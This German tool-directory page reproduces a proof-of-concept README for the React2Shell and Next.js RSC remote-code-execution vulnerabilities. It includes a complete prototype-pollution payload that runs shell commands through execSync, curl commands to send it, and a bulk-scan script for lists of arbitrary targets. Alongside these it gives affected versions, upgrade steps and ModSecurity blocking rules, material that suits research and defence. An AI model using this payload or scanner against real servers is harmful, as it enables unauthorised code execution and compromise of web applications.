Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/huahuai23/cve-2025-55182-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

Minimales MVP zur Reproduktion der React2Shell (CVE-2025-55182) und Next.js RSC RCE (CVE-2025-66478) Schwachstellen. Enthält Exploit-Payload, Batch-Scanning-Skript und ModSecurity WAF-Regeln zur Abschwächung.

Repository anzeigen
12vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182 / CVE-2025-66478 Reproduktionsumgebung

Dies ist ein minimales MVP zur Reproduktion der Schwachstellen React2Shell (CVE-2025-55182) und Next.js RSC RCE (CVE-2025-66478).

⚠️ Warnung

Dieses Projekt dient ausschließlich Sicherheitsforschung und Bildungszwecken. Nicht in Produktionsumgebungen oder auf nicht autorisierten Systemen verwenden.

Schwachstellenübersicht

CVE-2025-55182 ist eine schwerwiegende Schwachstelle in React Server Components, die folgende Versionen betrifft:

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: ≥14.3.0-canary.77, ≥15, ≥16

Angreifer können durch speziell präparierte multipart/form-data-Anfragen eine Deserialisierungslücke im Flight-Protocol ausnutzen und Remote Code Execution (RCE) erreichen.

Angriffsprinzip

  1. Chunk-Referenz erlangen: Mit der $@N-Syntax ein internes Chunk-Objekt referenzieren
  2. Prototype-Pollution: Über $1:__proto__:then eine bösartige -Methode injizieren
then
  • Ausführung auslösen: Server Action ruft beim await die manipulierte then-Methode auf
  • Konstruktor-Hijacking: _formData.get als Function-Konstruktor kapern
  • Code-Ausführung: Über Blob-Deserialisierung beliebigen Code ausführen
  • Schnellstart

    1. Abhängigkeiten installieren

    root@kitploit:~
    npm install
    # oder
    yarn install
    # oder
    pnpm install
    

    2. Entwicklungsserver starten

    root@kitploit:~
    npm run dev
    

    Der Server startet unter http://localhost:3000.

    3. Schwachstelle testen

    Mit dem bereitgestellten Testskript:

    root@kitploit:~
    # Einzelner Zieltest
    ./test-exploit.sh http://localhost:3000
    
    # oder direkt mit curl
    curl -X POST http://localhost:3000/ \
      -H "Next-Action: x" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      --data-binary @exploit-payload.txt
    

    Falls die Schwachstelle vorhanden ist, erscheint in der Antwort eine Ausgabe wie uid= (Ergebnis des id-Befehls).

    Dateistruktur

    root@kitploit:~
    .
    ├── app/
    │   ├── actions.ts              # Server Actions (Angriffspunkt)
    │   ├── page.tsx                # Hauptseite
    │   ├── layout.tsx              # Layout
    │   └── globals.css             # Globale Styles
    ├── package.json                # Abhängigkeiten (betroffene Versionen)
    ├── next.config.js              # Next.js-Konfiguration
    ├── test-exploit.sh             # Einzeltest-Skript
    ├── scan-targets.sh             # Bulk-Scan-Skript
    ├── exploit-payload.txt         # Exploit-Payload-Datei
    ├── Cve-2025-55182-modsecurity-rules.conf      # ModSecurity-Schutzregeln
    └── README.md                   # Diese Datei
    

    Erläuterung der Testskripte

    1. test-exploit.sh – Einzeltest

    Testet eine einzelne URL auf die Schwachstelle:

    root@kitploit:~
    chmod +x test-exploit.sh
    ./test-exploit.sh http://localhost:3000
    

    Erkennungsmerkmal: Enthält die Antwort uid= oder gid=, ist die Schwachstelle vorhanden.

    2. scan-targets.sh – Bulk-Scan

    Scannt mehrere Ziel-URLs parallel:

    root@kitploit:~
    # Ziel-Listendatei erstellen
    cat > targets.txt << EOF
    http://localhost:3000
    https://example.com
    https://api.example.com:8080
    EOF
    
    # Bulk-Scan ausführen
    chmod +x scan-targets.sh
    ./scan-targets.sh targets.txt
    

    Die Ergebnisse werden in vulnerable_hosts.csv gespeichert.

    Payload-Struktur

    root@kitploit:~
    {
      "then": "$1:__proto__:then",           // Hijack der then-Methode
      "status": "resolved_model",             // Steuerung des Ausführungspfads
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",      // Auslösen der Blob-Deserialisierung
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"  // Als Function kapern
        }
      }
    }
    

    Kernpunkte:

    1. $@0: Referenziert das erste form-data-Feld, um das Chunk-Objekt zu erhalten
    2. $1:proto:then: Greift auf Chunk.prototype.then zu
    3. _response._prefix: Injizierter bösartiger Code (wird durch Function-Konstruktor ausgeführt)
    4. $1:constructor:constructor: Object.constructor.constructor = Function

    Behebungsmaßnahmen

    Option 1: Upgrade auf reparierte Versionen (empfohlen)

    • React: 19.0.1, 19.1.2, 19.2.1 oder höher
    • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 oder höher
    root@kitploit:~
    npm install [email protected] [email protected] [email protected]
    

    Option 2: ModSecurity WAF-Regeln bereitstellen (vorübergehende Abschwächung)

    Falls ein Upgrade nicht sofort möglich ist, können ModSecurity-Regeln zur vorübergehenden Abschwächung eingesetzt werden.

    Apache + mod_security

    root@kitploit:~
    # 1. mod_security installieren
    sudo apt-get install libapache2-mod-security2
    
    # 2. Regeldatei kopieren
    sudo cp modsecurity-rules.conf /etc/modsecurity/
    
    # 3. Regel in Apache-Konfiguration einbinden
    sudo vim /etc/apache2/mods-enabled/security2.conf
    # Hinzufügen: Include /etc/modsecurity/modsecurity-rules.conf
    
    # 4. Apache neu starten
    sudo systemctl restart apache2
    

    Nginx + ModSecurity

    root@kitploit:~
    # 1. ModSecurity for Nginx installieren
    sudo apt-get install libnginx-mod-security
    
    # 2. Regeldatei kopieren
    sudo cp modsecurity-rules.conf /etc/nginx/modsec/
    
    # 3. In Nginx-Konfiguration aktivieren
    sudo vim /etc/nginx/nginx.conf
    # Im http- oder server-Block hinzufügen:
    # modsecurity on;
    # modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
    
    # 4. Nginx neu starten
    sudo systemctl restart nginx
    

    Erkennungsmerkmale der Regeln

    Die ModSecurity-Regeln blockieren folgende Merkmale:

    • ✅ Flight-Protocol-Muster ($@N, $BN)
    • ✅ Prototype-Pollution (__proto__, constructor:constructor)
    • ✅ Gefährliche Node.js-Modulaufrufe (process.mainModule.require, require('child_process'))
    • ✅ Befehlsausführungsfunktionen (execSync, exec)
    • ✅ Zugriff auf interne Objekte (_response, _chunks, _formData, _prefix)
    • ✅ Server-Action-Header (Next-Action, RSC-Action-ID)

    ⚠️ Hinweis: WAF-Regeln sind nur eine vorübergehende Abschwächung und bieten keinen vollständigen Schutz. Ein Upgrade auf reparierte Versionen ist zwingend erforderlich.

    Sicherheitsempfehlungen

    Falls Ihre Anwendung betroffen sein könnte:

    1. Sofort testen: Verwenden Sie das Skript test-exploit.sh, um Ihre Anwendung zu prüfen
    2. Sofort upgraden: Führen Sie ein Upgrade auf reparierte Versionen durch
    3. Schlüssel rotieren: Rotieren Sie alle Umgebungsvariablen, API-Schlüssel und Datenbankpasswörter
    4. Protokolle prüfen: Durchsuchen Sie Zugriffsprotokolle nach verdächtigen Next-Action-Anfragen
    5. WAF bereitstellen: Setzen Sie vor dem Upgrade ModSecurity-Regeln als vorübergehenden Schutz ein

    Schnelltest mit curl

    Falls Sie direkt mit curl testen möchten (ohne Skript):

    root@kitploit:~
    curl -X POST http://localhost:3000/ \
      -H "Next-Action: x" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      -H "X-Nextjs-Request-Id: b5dce965" \
      --data-binary @exploit-payload.txt
    

    Enthält die Antwort uid= oder gid=, ist die Schwachstelle vorhanden.

    Referenzen

    • Vercel offizielle Ankündigung
    • React GHSA
    • Next.js GHSA
    • CVE PoC (React)
    • CVE Scanner (Next.js)
    • ModSecurity Dokumentation

    Danksagung

    • Lachlan Davidson – Entdeckung und verantwortungsvolle Meldung der Schwachstelle
    • Meta Security & React Team
    • Vercel Team

    Lizenz

    Dieses Projekt dient ausschließlich Bildungszwecken. Bei der Nutzung dieses Codes sind die geltenden Gesetze und Vorschriften einzuhalten.

    Tool herunterladen